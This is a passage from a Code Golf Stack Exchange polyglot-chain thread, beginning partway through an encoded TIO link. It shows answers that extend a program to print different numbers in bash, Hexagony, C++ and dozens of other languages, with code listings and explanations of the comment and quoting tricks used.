GOP/luNPFmnpbqNM8rhUDanlw/4BSxFapOCBM1uTSVaO8O8wR4EdQINnQiEELpldybvCo/U@QJ8wApRJbkqeKejxZKBNsyx@blkUjCeRPzZFncBnsAMc20RqbP2aUxsah8na3trebCIN5cbZAqHomEwoaZUIdf05U5ly5sX2ydBlnU6HqSjMfW5vt6UirbLzaUM9WTJaBqwi43aPYQ@2rHZgrVts08pOranTVmbbrNKssEEbIVnaBadaEwOA6DQdFvpQETaiQlVU8/NZxuDNycXiPsJlgPoxID2JP0YsEBlAJHHrqnLHd8EvVkRm6t24K811M6i/EJjIY5@r97kOg4f8zz2eE2L8X3Lc6zeM68F9jfSl7@ze7Zdrt7vdJAvbOQwjKlbegFemtazWhtXc1tfOiVqgArd0Kr4AJc4BzpXLvc9RnO6@2tv//u3B4Z1@r4Cs3AarsEq3U@sbZr03WA4q9/j8MvU@ik7B8Vcan0ZGEN7legvUK3ZT37LVtUb8zKLejmJaixXcL1rnBse6bNKuib7gAf5bzJSbKoivCLrKnVJtnZtF7rwkur7zrsyL8Af/KWpFuCT9sY1ac7gjPHCy8wMPQ37BNJyuwIHTOjky7ESvL/7aW1/259ck@bei9Lztc3uVKz/CySpbbXEbtedwr5M@62f9cT8kH2tfWN9YptW@0sq@fWEhLOhdrTy1m7WNaq1WDqtaOaSD8fgxXWLzMs7dsama6gxARtnX24j2OKd2OWyXnY5WHtmtqtiBV9wPV9hwnVrmVdmZW@XHcPM6ZhJO0YRr5VSnjKVhms05@PsceWHZqgdOfKWpTJ3RnzmIfNmr1YgHs3xMDFxb/cMaOMepObTEtdkuwq01CdoiKlVuOutvv5Wa24yp2ry18WhHV9mGZZ31X2s77UrPGbfMX93Bd6ffffexUtLV5qbaDjeVklU9YWrv0cHBgdZq6YcHWvcJe1Ktt7efVuvY16zvsL/gw35VSt2/wIDdje1HOxicdE6UUmdQ6/TMrjHo9pTSlVK6nCslpWR3Zu9q9Om97tbk50d8O8agFx/8uLd7uFdvdYxS6/Xbeuvw/ctSEy9brcUKzdDyBtbf7e2@fvv@qI7hd/sf9t4fvH7reV6cjkbpKJruvN1@u2kNujXTMJhhsu4AXLybfdu9vr6usdp1NcuyqjlTSq@7s/eW0SE@AEDghtHXze7gi1LqlXrWmXWmWQ2/cdZonjZPZxh5s8bnKGlMG9PmqNlszhr8fWM4awwbUXOEJ8e/RoCh1xjPGpNG2AgJKMLAnTVcDMZ4TmhpDCSf8c9rNAh742wGMn5TfD4d64w1Gpvb2tPas@Kf/UinLOOLUukXGdFWo81nXtauSJtrGj9zfE1t9metcUvVcZdqz3R4Z3ND1w2tQXfrpv6p2elo21t6t6ttt3Qsq5WZGiUV7Uq7as51evS0hj7Q5xj1aapSmpfoNIZsc0vHTcH1L5bdtFqb9qxTru3UjB187G6tU/y8KI2E5k1LOT5@vXu0e3xsN0tExrKUktk31WZLPT6uVkicNqWskc9NH/F545mi4lMCnD3kE1CkHWmacuRj/MDhOefneX7Ol59XKJQ@f0ZgimOrCtgRH1NOfMlSBKFoXHErRvOFuvEUyePGE1UpIVBRA61DrcbInHYVahNrjOlit6aflE76lap1RdWedsn09tyqVk5OlE73qsTmxM1cGVFhu/mMuIRrN@edLkblCmGq0JyxEW1GpXK5jGPAuuqG@tZUbPrfFrSDxBMCAlHpS7TVvA6/b5eex5WNzUqfZH36zWgy8VrfsJMvzS/bZcuqVFpbjNklaePmE73UbT0xkRuXBsXcJuYGJeESrSZQVBHFwtGn40/HH1ut1rNnz9TW9m@W9bXLB6vLADzmiE15cF8E3k28nxxKQMNlFMbgpxwBf6lbRsr1vSFp98acVPj6lPhfH5hTiC9hCRqgcnTrIitmVWpE9gY6uxIptzdmGq3iLm7K1F8WOVmehKzRViQQtbPayyGokC8wmwBokgKu5tnNNvM6hAy/iNMFBfosdtRsGvo81AQX3kBvL2GWnHSxe42Xtf21mgSfS7akPG4wkmLLteUr2AuoYne1Yrd@CwDVDmAq/UalEPOPiIGUQltiqLM/Lcat/biS9IVMgoXVYjG/MsVcqWb1oK2Q2NW4rfygufoVXZXt6@DxY/dT3AsGbT2wM/qt1YL2XDnVPAlSzezANprtGMy2s16t5g3sQP9BiwXzgd0AMGgT5lS/Wlo6tAtzpXr9shca1@Gg/qYX1pqDel6vfrQv647dqM/whdrqfv1XKG@hSi2zL2th2@ngS7f2DU3Edlpz2jemaMup5tuXPWdgN/S2j4212hsIAz7Tnl@rDXQQ97F4d2Pbf/zYqfndWds3DJ2gPm28eNPLMBjUbHp/rjmd2YvLXo79zzX82iDj62Ae@27aAPjAXxs6luZbsS55nBF7M7AX2Hb144vqx6r96NFlb2YEg7pU//PGyvDE/IyYX/cRrfpx3bGESkQFr6nfes@/NaspU@vwPii5Hq/tlBxWP2IlXp2G@f8B "Polygot driver on TIO Nexus") As usual, I replaced literal tabs with `␉` and literal ESC characters with `␛`, due to limitations of Stack Exchange. You can get an easily copiable version of the program from the "input" box of the TIO link above. ## Rundown This program prints **50** in bash, **49** in Octave, **48** in Deadfish~, **47** in Lily, **46** in Cubix, **45** in PicoLisp, **44** in alphuck, **43** in reticular, **42** in evil, **41** in brainf\*\*\*, **40** in Minimal-2D, **39** in CoffeeScript, **38** in C, **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver above. The usual four culprits need testing separately: * **Incident** was tested using its official interpreter, offline; * **Deadfish~** was also tested using its official interpreter, offline; * **Modular SNUSP** was tested online [here](http://www.quirkster.com/iano/snusp/snusp-js.html); * **Reng** was tested online [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/). ## Explanation I was looking at various leads for languages to add. One possibility was to find a language with `#` line comments that could plausibly be added to the "scripting language" line (which handles Perl, Python 2 and 3, and Ruby). It took me a while to think of an appropriate language that could be syntax-compatible with the ones already there, though. It turns out that the answer had been staring me in the face for ages. If you click the TIO link above, it'll open up the polyglot test driver, which is written in bash. So all this time, I had a tab saying "Bash — TIO Nexus". You'd have thought that'd be a hint, but apparently I missed it. As a bonus, bash is also a scripting language, so the term "scripting language line" is still appropriate. The bash program starts in the same place as the other scripting languages. However, there's a fairly simple way to split it away from them; in single-quoted strings, `\` is an escape character in most languages, but not in bash. So we can hide bash code from the other languages via `'\'…';`, which is a degenerate statement (with no effect) in Perl, Python, and Ruby, but executed in bash. `echo 50;exit` is a fairly simple way to end the bash program. Well, almost. The biggest problem here is that bash will, upon running `exit`, continue parsing until the end of the current line (even though it doesn't execute the code in question), so we need to make sure there are no syntax errors on the rest of the line. We have a `'` just after `exit;` that isn't (and cannot be) immediately matched. Later on on the line, `'…'` is used to hide some Brain-Flak code from the scripting languages, but that would unhide it from bash. As a result, we need to change what sort of string literal we're using to hide the code, going from single-quoted to double-quoted strings. `or"'"` does the trick without disturbing Perl, Python, or Ruby (as the left-hand argument is truthy in every case). We now have an unmatched double quote that extends onto a future line. It was fairly hard to close it without disturbing at least one other language; what we actually do is to change the way we hide code from bash from double quote back to an unmatched single quote in a Python/Ruby comment on the subsequent line, and finally close the single quote at the end of the line after that. ### Pyth and 05AB1E Messing around with double quotes also disturbs the languages that were using double-quoted strings to hide code, Pyth and 05AB1E. The main trick we use here is to ensure that every double quote we add has another double quote soon afterwards in order to expose as little code as possible. (This explains the extra double quote on the `__DATA__` line, which isn't necessary for bash.) Pyth uses `\` as an escape character; the main upshot of this is that it limited the scope I had for messing around with strings in the scripting languages, forcing me to use the rather convoluted method above (as I couldn't easily make use of the difference in `\` behaviour between bash and everything else). In 05AB1E, `'` acts as an escape character *outside* strings, and having it escape the leading `"` wouldn't do. So I ended up needing to place a useless padding character (defaulting to my usual `x`; it makes things easier to read!) inside the `"'"` constructs that are used to change between bash quoting styles. ### Prelude By far the hardest language to fix here. The problem is that the scripting line, with all its parentheses, was moved sideways, and thus the Prelude control flow (which cares a lot about the way in which parentheses are vertically aligned) was completely destroyed. I thus had to try to reconstruct something that works. Worse, the current first line (which I really didn't want to rewrite) places something of a hard limit on where the parentheses can appear. It starts off with a nonzero digit (two of them, in fact!), and is soon followed by an opening parenthesis. That's a loop in Prelude, and loops early on in the control flow in Prelude cause a number of different issues (mostly because they cause more code to run, rather than less). As such, I badly needed to open a 0-iteration loop on some other line in order to skip over that code. The `main` line for the C program is highly suitable, but we need to be very careful with where the matching closing bracket is; too far right and the unmatched bracket on the `#R+` line will cause trouble, too far left and it won't comment out enough code. (Bear in mind that an opening parenthesis on one line can match a closing parenthesis o a different line.) Once that's done, we have just enough space to stick in an opening parenthesis on the Incident line, and we've finally got safely past the first few characters of the program. However, the difference in parenthesis placements ends up meaning that some of the Incident/Whirl code actually runs in Prelude, corrupting the stack. Instead of trying to prevent this, I moved some of Whirl's zeroes further to the right, allowing them to give us a working Prelude program again. One other small change was on the first line of the program; the final parenthesis of the line was in a position that was very hard to avoid. I added an extra `c` just after the Pyth code to shift it to the right. (Many languages are parsing that point of the program, so it took a surprising amount of trial and error to find a padding character that wouldn't break at least one language!) ### Incident Prelude was hard enough by itself, but getting Prelude and Incident working at the same time was nightmarish. Prelude placed a lot of constraints on the code which prevented me freely moving things around, and thus made accidental token construction harder to golf out. For example, Prelude only really needs one `0` moved out to the right, but that caused `00` to become a failed token, breaking some of the tokens we wanted as part of the Incident program (because if two tokens overlap, they're both rejected, and the `00` was overlapping a token we wanted in addition to overlapping itself). I had to move both out to make a fourth copy and prevent it being even considered as a token. More subtle are the tokens `;'` and `␠␠` (i.e. two space characters). The issue is that these both appear *before* the `kG` that is being used to jump to the start of the program, and thus will break Incident's control flow (in addition to breaking the program's centre point). Removing a copy of `␠␠` by breaking it up doesn't seem viable. Removing it via overlapping it might be possible (`␠=` is a promising potential overlap), but it's almost certainly less verbose to just add a fourth copy, which is what I did here. Meanwhile, we can use a different trick for `;'`. Breaking it up isn't something I wanted to try, given that it's used in fairly spacing-sensitive situations. However, it's not *that* near the start of the program (despite appearing on the first line), so it's plausible that we could jump over it (thus causing it to not affect control flow) rather than needing it to not exist. I looked for a suitable token to use for the jump which wouldn't screw up any of the other languages. `/v` appears a little earlier on the first line, and doesn't break anything, and thus that's what I used. ## 50 languages in 1 Kib of code It was pointed out by @MistahFiggins that my 1025-byte submission would be way neater if it were 1024 bytes (especially as the fiftieth language is a milestone in its own right). This required finding a byte of savings somewhere. In this case, I saved three bytes in the Deadfish~, at the costs of two extra bytes used to make Incident tokens line up correctly, and thus bringing the program down to 1024 bytes exactly. Previously, the formula that the Deadfish~ code used was (2²+2)²+10×1+2 = 48. The new formula is (3²-2)²-1, also producing 48. Surprisingly, it isn't that much shorter to write in Deadfish~, despite being considerably simpler. This also gives us a [VIP score](https://codegolf.stackexchange.com/questions/65641/the-versatile-integer-printer) of .008192. Not only is this a new record, it's also a nicely round number in its own right (which is, obviously, a consequence of having nice round numbers as the inputs to the formula). [Answer] # 23. [Hexagony](https://github.com/m-ender/hexagony), 186 bytes Sorry if this messes up plans... ``` #v`16/"<"6/b.q@"(::)::: (22)S#;n4"14" #>3N6@15o|> ^*ttt*~++~~~% #=~nJ<R"12"; #[ print((1/2and 9 or 13)-(0and+4)^1<<65>>62)#46(89999+++++!)=#print(17)#0\32=""<0]#echo 21 #8␛dggi2␛` |1|6 ``` ␛ is used to represent a literal ESC character. ### Prints: 23 in [Hexagony](https://tio.run/nexus/hexagony#Jcu9DoIwFEDhva/AUu@NSQtRuAUr1kKcHRx0VIk/GGQBNcSJ9NVR47ed4Qz4PpEOwYIOL9PnCoQx0hjDuVBK7nDZJEAJMMzjjV7RrO1zXvhd1/kuCJxzY4aZa9Z2C6RgyXDP2ONVN50QFKpzU/IFb1@cYjkR0TeDRBZkrZ7luVYSEy3SxVfwM5IZ/l@aS4wOscoAbHTE2/XeckUMU6@sqlp5J95Tr4fhAw), 22 in Underload, 21 in Nim, 20 in Prelude, 19 in Reng (testable [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), 18 in Cardinal, 17 in Julia, 16 in Pyth, 15 in Haystack, 14 in Turtlèd, 13 in Ruby, 12 in Fission, 11 in Befunge-98, 10 in Befunge-93, 9 in Perl, 8 in Retina, 7 in [Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZgMTYvIjwiNi9iLnFAIig6Oik6OjogICgyMilTIztuNCIxNCIKIz4zTjZAMTVvfD4gXip0dHQqfisrfn5+JQojPX5uSjxSIjEyIjsKI1sKCnByaW50KCgxLzJhbmQgOSBvciAxMyktKDBhbmQrNCleMTw8NjU+PjYyKSM0Nig4OTk5OSsrKysrISk9I3ByaW50KDE3KSMwXDMyPSIiPDBdI2VjaG8gMjEKIzgbZGdnaTIbYCB8MXw2&input=), 6 in SMBF, 5 in Python 2, 4 in ><>, 3 in Minkolang, 2 in Vim/V, and 1 in Python 3. To get to the unlinked languages, click the `change language` button in the upper right of the Hexagony link. --- Hexagony isn't readable (at ALL) in this format. We need to look at it in hexagonal form. Note that the 2 ESC characters have been replaced with `␛`s so you can see them - they are ignored, so there are no others in the program: ``` # v 1 6 / " < " 6 / b . q @ " ( : : ) A lot more readable, right?? No? : : : ( 2 2 ) S # ; n 4 " 1 4 " # > 3 N 6 @ 1 5 o | > ^ * t t t * ~ + + ~ ~ ~ % # = ~ n J < R " 1 2 " ; # [ p r i n t ( ( 1 / 2 a n d 9 o r 1 3 ) - ( 0 a n d + 4 ) ^ 1 < < 6 5 > > 6 2 ) # 4 6 ( 8 | Note that the 0s below can be replaced 9 9 9 9 + + + + + ! ) = # p r i | With anything (except "`" or " "), n t ( 1 7 ) # 0 \ 3 2 = " " < V as far as Hexagony is concerned 0 ] # e c h o 2 1 # 8 ␛ d g g i 2 ␛ | 1 | 6 . . . . . <-- the ␛ represents an esc . . . . . . . . . . . . character . . . . . . . . . . . . . . . . . . . . . A "." is a no-op . . . . . . . . . ^ | Mirror wraps to here, going NW ``` For those unfamiliar with [Hexagony](https://github.com/m-ender/hexagony), There are 6 IPs, which start at the 6 corners. Only 1 is active at a time, and are switched by using `#][`. The memory model isn't that important to this program, but might be necessary to understand in the future. All that you need to know is that 1 int is stored in a "memory edge" (ME for short), and `'"}{` change the ME that is active. `\/|_><` are mirrors that control program flow. ### This is how it works: First line executed: ``` # A no-op (sets active IP to 0, the currently active one) v letter chars set the ME to their ASCII value - so ME is now 118 16 Like Labyrinth, 0-9 multiplies ME by 10 and is added - ME now 11816 / A mirror that sends IP going NW by wrapping to the bottom ``` The bottom (snippet flipped vertically so you can read up to down): ``` . . A series of no-ops. The IP is going NW now, . because of the mirror on the top. . | Another mirror. This one sends the IP NE, into the h h sets the ME to 104, the ASCII value for h # 104 % 6 == 2, so IP 2 is now active instead of 0 ``` The right edge: ``` 8 IP #2 is moving SW, starting in the right corner i Sets the ME to 105 < Mirror. Sends the IP going due West "" These change the Active ME - just know that the new edge is 0 = Changes the MP (more in specs) - effectively a no-op used to fill space \32 pushes 23, and mirrors up NE to the ! ``` The last bit of relevant code: ``` ! Prints the current value of the ME as an int. Success! 20(R~ Does things to the ME - irrelevant now @ Ends the program! ``` --- ### Things to note: * Hexagony drops all s and ```s before executing, so any changes to those will not affect Hexagony * I needed to pad the code so that it would be interpreted as a 9 length hexagon, instead of an 8th - be careful golfing below 169 or above 217 relevant characters * Because of this, the `~~~` and the 2 `0`s at the end can be changed at no harm to the code * The `=""` just moves the ME away from the previous one so that a new ME can be modified. They can be replaced with other characters that do the same thing at no harm to the hexagony program (`'`s, for example) * This is technically not comlient with the Befunge 93 specs, because it limits the bounding box of the code to 80 by 25 chracters. However, Most interptreters ignore this spec (like TIO), So I don't personally think it's that big of a deal. If you do, feel free to leave a comment. (If enough really want me to change it, then I will try) * Hope it's not too hard now. [Answer] # 37. [C++](https://gcc.gnu.org/) (gcc), 776 bytes ``` # 1"16" 2//v\(;@#/;n4"14" #/*`3 auaaZ<>16/"<"6/b.q@")(22)S# ␉␉␉␉ #yy␉;36!@ # ␉ #=␉> #[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_) #`<`␉| print((eval("1\x2f2")and( 9 )or(13 ))-(0and 4)^1<<(65)>>(62))or'(\{(\{})(\{}[()])}\{}\{}\{})'#46(8+9+9+9+9+=!)#1|=/=1/24=x=9[<$+@+-@@@@=>+<@@@=>+<?#>+.--.]/ __DATA__=1#// #.\."12"*␉ """"#// =begin␉// #*/ #include<iostream>␉ int main() /*/ #()"`#"\'*/{std::cout<<37;}/*'"`" $'main'␉// #-3o4o#$$$ <>3N.<>␉// #xx #x%~~~+␉+~*ttt*.x #xx =end #// """#"#// #0]#echo 21#/(\[FAC,1<-#2FAC,1SUB#1<-#52FAC,1SUB#2<-#32FACLEGEREEX,1PLEASEGIVEUPPLEASE) ap #_~nJ|#o51\ #0␛dggi2␛`␉|1|6$//''25 >>>>>#>27.say# =#print(17)#^_^_7LEintndus({})!<>+]/*///Z222999/3!@"26 ``` `␉` is a literal tab, `␛` a literal ESC character; Stack Exchange would mangle the program otherwise. I recommend copying the program from the "input" box of the TIO link below, if you want to work on it. [Try them online!](https://tio.run/nexus/bash#lVjLdtvIEV0LvzCbNgCbgEi8SEsemw9L9shzPPHMKJas5IwoUU2gSbYFNjgAKJLR42SbnCyyzybL/Ee2@Yr8yOR2g6QoiRpPIBFoANVdVbceXYVfDHmQ/SSe9eMkJznLchKl/IKlLnkzIzuUZ1vVmjVK@ZCmM0LH@SBJ7QrZeTugImSapqanSTQOueiTfMAIF6NxTno8ZpkW0py0yGi@vCsHxCApo1FBpvWSlMgpZHgeE07C0YiowyBZMpQvcpaOUoZzRgRjEclGLOQ9HioGhE1zJjKeiEyLEk1ODEf32C3vTAYasRSZjWiqRE7ISMm/kHyS0tEI/DSDHECGnA9ZRnheygijGZcAYUrGRKS0HS2hSwgVqwKTC04JhR7jVK2dsTSHpK5alwxYyrAklcz7KR0Sa5LyHNpIMHbJPqMpOUwZs8EFILIspCPIcYclmCWSQy4VcRXYjUZp78d3JYBezHDpKNeMtHb4@@80StwmMTt1/Jq6Xtf2fviGXJptOYYUWAyGGaUWtUnzhmReu83wmwZdr59ea1hVAyox8ZJR7mFlmuYQ73bkXFTdUbzCljTuWWLFEQqqCLYg7wU5qii9wnGaMkhxCyk9h8pxIvpAE6qmYyHREGTbhwHCRERZhbALYJaIwkLJROF7OOAwWSYNQruAh4YS@cK7FZzwbzjRHM8F3yyJx4oOM7Ocx7EEGFPliu975Ij0KI/lFLyXSxVSpywbx7mcMxaRtPuQCxa5ZCFGmESSaJhcgB3FouoB/H64Ei1KKBDDDIlSVb7679//EfX7WGc3DJM0mjvrEYmScDyEwFQJS@GI0l0TQWMlFugqknsxHQwuaMwjmkv2YjZnoYRQXCfJOI5IAobphGeMDOgF4qrXY2HOChdPxjlkrJAhPS9inBd@C8WHtAvDKgaKN9RWTuIMx3nva@KM9kgp806t16@s10/aDPLYrr1pel6/Dg9zN9Uj3JV@zVmOdm9tqEmX2SU9NiExFf0x7UOtRGACDUM2yud4ApcsB2L3g0I9dOYR7mYDzdy5z1l5@jz2V3hIXyyibx6vVIIQJsMhDODEsDmhaV/ZhUQ8BXrx7D53EFzcY66fSZI7Apzpj4iwSFPwajZl4TgH@KxCJgMeDshESScK8xWxcp89Hq1yhwM6vSVrKUzQelbVXG/5SIrx6BKONPTDdZAD5FKtOw@UT6w@UAqqRHwg8zk8d5F1ZWTcJvml8kDjO5lTUvbzGOgiQHlfSBIqlhl7xal5JkqIcp5xQCRzL8ebw/c/ylD@Ayt2EoBUpKHVOEywr2D6PLfKFwvENBYOEuIIUprLYOkqFX6GWF6WhmrgrOR/3XYBlyVhU68WC30utsX7uZC0HtIplqUKOdb1kwrST5zB3mIcx7gZCxUQFrMv4RghyzIX3o1YdeVGAun0MrOv7xLmgzSZEHZt10vr2CmDHELnD0i55ANHtkx6SNC3e7Dar6dyi2pr@miGYkDU7nqvfvumWuwVR96QIhJHs/URra8upSZ8z8V5Ii3vDRejju8GW3eWQL3wcGaPZwN1ukP6QKyHb9TsbNjtqdMaAiFd6x5e6sUwEUnBHAhxQb2P6uIiQtdJcDcQ7rB/w2CqPnNe1rwuF16X9R6jfPfmzXtF0@t2@WNEgEEWRovrGrJ03F2HUpdmgweJktzB@XCc5rETebm8sv/8OQLeD60xoLMM@@f5ctARbCIt4/QeNc58qrxRp/WG/DyOUVt9YY2Qyj2TxsvB@rVekY8M3o49TaiSCpLGMcIRkCFhPHRnREI8jtjiun5RheHdfEsEH8r9YiTr1kdm3NsgCoayrEjjhEZeUehxdmu9Amc2pf1EzLyV5OOm3d8g1iKHk9vKLh@M83FxluXcl@zER/L3a@E2p/S3dt8Ee/PLI/QQYvsxPy1CJEUmcd7F9NzrymGnh@F6VQtlUt5H7bi4PkbGMpVknG6SnDtFvZ552FZR0YxoyFSo3d6u9aHvsTXHKNkPfvh0sP@rzqQ4YrU0Ls5rl3svQuxYIv/ySoAhVqff6IVqknKUkMaO79Z8j4fnxFnBkN9DPabdmWwPBv@/g0mO/XKZOMltVb@chWZPTlK7zkdV2i@rK9T1RUeCZzydV6CZu2jyjNu3RFAUSdim5HhRLtSLIjUbqNoWHUOEmPskuCoQUEsX5VmFdLHlq1z2739F85K/z/KMDHmGkrYvZL@JGmyQTF4rvkVt@3b3gDgobJUMPaI/dV74mV4h5u7Hb4@O/ZMS0c2pPhdU9iyqRF8KXChDLDneV/vBvKIcqnZH6cQmqqJEi4PuRu6Sso9AFZOhQcxttbSFHDhEoeIc5GRL9sssR0G6NW@MiGxbwUmREnNKrtBxout2QhJs@bgrVIllgT5s3m49q7u99w3rjlXcoLWr1ppKD/SOjZYapSxKZBV/fNqOTrxsgQZaxqd@dSrxeOZJU6DNvDTdln91ldGZrl@X7JU@fG@KOgDuLfsh1c9osjeXUCXj/E69PeH5oCgMUS2GAyrLB1kvLoo8KVIPsUti6Cn7FBWsmVSUSDBdshtnaJejCDB1Z7lEdyzyoq5bFne6QYS79KMK0bUHHxTk3AyA54smE51PmioZBtjkCq@CYaIEZBPVYqGKRJ3quq42CaUJ1BLrOiW03Gjbiu6onWP8l/m4h/HfivGpJ03qPWiZCkUe4LeSuPidGJtrvkYKAmb/XCOEwPivxfi47Ts3J@s6tzViLLNZnpwzwf@ksFp8tXhMiFVuutdu61/mteou0HW@LyINyC8SoHoLl@X5K7LzOyYEm5E1n7WK712337ceSrdXuowT5E7Tq6tYqF8DjbM2aeftXltISOoz7yvP9eqXlhk3Z57nhXbLMgfNoFzbLJdNsWmZwgls@9kzGULXZtY0O67u6lMQOWZs1xEMlkmbpqibtGGZUbO6qWbgtly2LzHhBs3zpUmvPfMZcKrgScouEA3MMjNb1ui@6wbXkO9zwoXpVYZ0dGnpRJ/K7yGSvcnLZSmDa3akADde@6AMyQH7gacCtz53NK8/rKvQLt2F/pdfDEICPdjWSdXzLtpWfcfw6uK5HjzXNcPbPKsBVUp/arSCbU9v6Nte1/15R7etatU@wNQNHEQzZrONem37yQ6ss6EZzY2WZhzjIf792B9O/eA8OMeIT/3PU3/gD4IoCIJ9n33yu1O/6ydBhDPDnz/FkPu9qd/3hS@CYOonGIRTP8Sgh3Nfvuphkc/4474v15Yshn4cqMP3rdOOrRlnjbONK00pbVnsgsaWHrSn1V5Vt5FkLPKS2DBQUCO27Vi@zDvP7dOg0bC2t@xWy9qu2nhfstqX@L@25enYsk/sawyKf7tkPN@2vi6/nP81n9hGcNX0moFXfd6cNl8eN8zyTtnZwdFslRvzy2ujVXYdxz3xtE7nm93D3U6nGRiepxlu29WDqr65oek45KNml/W52JAvN/HjIpTFaoMnCDtGh60NTQaMbMwsG0aWNJatnxl6u7TpXaL6f/UK6TFvNGov6tfeZkk/0zWzJOlLalGnljxPDNM0tUar9oPbaKmn0yl@T29ubsob5ZvNPM833al62pSfS7EdgkgKqEQ0/BNDpd0qlLDax@9231aChmNU1eDg0xtD3m3d3lZxW5O3H/a@3fu4t/fHSrD/YW/3YO/b90d7n/aLMbShI83o3IjvroxkK2iDLVh9FfX7vPoVDBtcbZueVypVtwh6YBxGq/rCxdZkkKZRGD14YRunndPOiw97uBXROLNgtCeNVvkESHneT9Vq9eXLl17tyY5e3f4f "Bash – TIO Nexus") ## Rundown This program prints **37** in C++, **36** in Labyrinth, **35** in INTERCAL, **34** in Rail, **33** in Incident, **32** in Whirl, **31** in Modular SNUSP, **30** in Whitespace, **29** in Trigger, **28** in Brain-Flak, **27** in Perl 6, **26** in 05AB1E, **25** in Pip, **24** in Thutu, **23** in Hexagony, **22** in Underload, **21** in Nim, **20** in Prelude, **19** in Reng, **18** in Cardinal, **17** in Julia, **16** in Pyth, **15** in Haystack, **14** in Turtlèd, **13** in Ruby, **12** in Fission, **11** in Befunge-98, **10** in Befunge-93, **9** in Perl 5, **8** in Retina, **7** in Japt, **6** in SMBF, **5** in Python 2, **4** in ><>, **3** in Minkolang, **2** in V/Vim, and **1** in Python 3. ## Verification Most of the languages are tested by the test driver shown above. You can test Reng [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/) and Modular SNUSP [here](http://www.quirkster.com/iano/snusp/snusp-js.html); they output 19 and 31 respectively, as required. I added another format to the test driver output that escapes double quotes as well as make line feed replacements. This is so I can feed the single line string to a c(gcc) program I wrapped around the function created by @feersum [here](https://codegolf.stackexchange.com/questions/107533/write-an-incident-tokeniser/107650#107650). Hopefully others can make use of it as is. [Here's the Incident token program](https://tio.run/nexus/c-gcc#ZVPrcuI2FP4Nr7B/hM0GybKxZAgpseWQbclOu5lOpmk6ndiGOFy9sQ0NZkchgQforz5jXyQ9wuymnep6js5F39E5etWTfJSuxxPkrYpxsmjO/eq/jx6TfKbOqkleoCxOckyeqwjaaB4/onwiiyBCAmk6QjzUeCfUkGPbX0Ls9nTbzdtwBvPvv/7UbeOuheJ1HN96Pu/YoeaFWse@b/7RCzWCHYdcg48KNKS0n54qbqtT6ykaVdQqKr7aAhDBYCnLJOMP/AGoRLLPks3ZnI8551dscsPuJbtnCz6GdQKdSSATNpVsxnKWcy7ZAoiRZCMgprDOlGgKTj5DTxhTvtUVGUv5vjGGB0OiINx5d5UXIJbwOAXGky9xiiHOUDpTB2KJ8zFGXUQWj5i3ECEWZnCE2mTAPQ93jonv445DQN7A4TOMLVFLgElEtkCUgzT0dgd/R7uHLmpE5y/CFtx22kKKbuDVaY9aPWjCp95hO9N92rSsZmQDwOHwh/Nfz4dDwXVb8XozbAJQAGmoJw21spdCcT@ZJXmlVDT266EOvGQBhTCJM19ZvRUCQnaph0mo3engqmHYz1BGp6ejxbrwvNaJu7WNBgj3JVBvKLvG4QqrtWgv9Hq9Doznt35uev5BIuV@fb/b7WiF7oyiKIym/CYRE3hNhErUhwi@BqGzSJ@M5gvkQMg4DC7Ovze5Z@nOnri@@aAr7viNdYBtKfay/7H/S7//u8mvLvvn1/2PP/7Wv7kqaYg0Xirvw13@04u@OOYhANhf9248myXOOygI/tKp23aj4Rwj5Kum@85JcxU/6UjoZanwE6IPhoPhyWUf2Hy8XmFIdM3zaQQvadu3juN0u127VYM/4XQ0d//Tplh9M@JWt1WjMDO3qr6esXSrn/CIPE@hzNxddnQ0GiyDLHJJJgq1U5q52@oDTkoVoxCZsLi7DJLILQJKk0hk5BNWPHEzwUB5iveeV4cfrhKdC8h8OsnxipibILd2eWReBDnlkbk2jVuxMWPBTAkzPYCFuwqxobkbezApPTj72pZiRWP3P0fK5AGnYhPEkWDETcGQ0gsIAvCtgpTSiMClKQj/b@imR0cxTX3pppZFlNagdXYRFEBEVCj@FMeePNsEa7A/xbALuCYlABrsSOlx@w074HPhbff5mmLtfdNYaRAopeYSYiHVN8BSYZWANRPCuD0zbg1Rq20CaWWRWebglJX6KgqpolApfH39Bw). Ideally I'd like to deliminate the tokens since they are a bit hard to read, indicate the "center" token, and include it in the test driver. But I don't really know how to do anything other than make various programs print sequential integers, so this is as far as I've gotten. I've attempted to solve the obvious Incident problems, like tokens after the beginning and end jump tokens and anything that looked extraneous, but I haven't balanced the tokens to put `0o` at the center. I'm not really sure what the logic is exactly to determine the center. I'm hoping @ais523 will help there. This string near the end `7LEintndus({})!<>+` would all be tokens if not for this 4th inclusion in the code. These can all be removed (and replaced with a `.` for Hexagony alignment) in order to adjust the center token. I'm going to be updating this post off and on over the next day or two to walk through the code, (assuming Incident can be verified/fixed without going over the byte count). But it's super late now, and I mostly wanted to get this out there before I had to solve another Labyrinth like problem. :P ## Explanation ## How the C++ code works. I think most people are familiar enough with C++, so I won’t go into too much detail. Block comments come in the form of `/* comment */`. Line comments come in the form of `//comment`. The actual code utilized by C++ to produce the answer is `int main() {std::cout<<37;}`. And the library that’s used to interface with STDOUT is referenced by this statement `#include<iostream>`. ## /\*Comments Abuse\*/ For me, the story of C++ goes back to my Brain-Flak answer. After finally finding #28, I set out to study some other polyglots posted in PPCG and all that studying led me to a few easy answers (most of these are still available to be found if anyone else is so inclined). But more importantly, I came to a conclusion about polyglots in general: large polyglots tend to fall into one of two broad categories: `#` comment abuse or `/*` comment abuse. This is not a fact or restriction in anyway, but of a personal mental framework that guided my next several 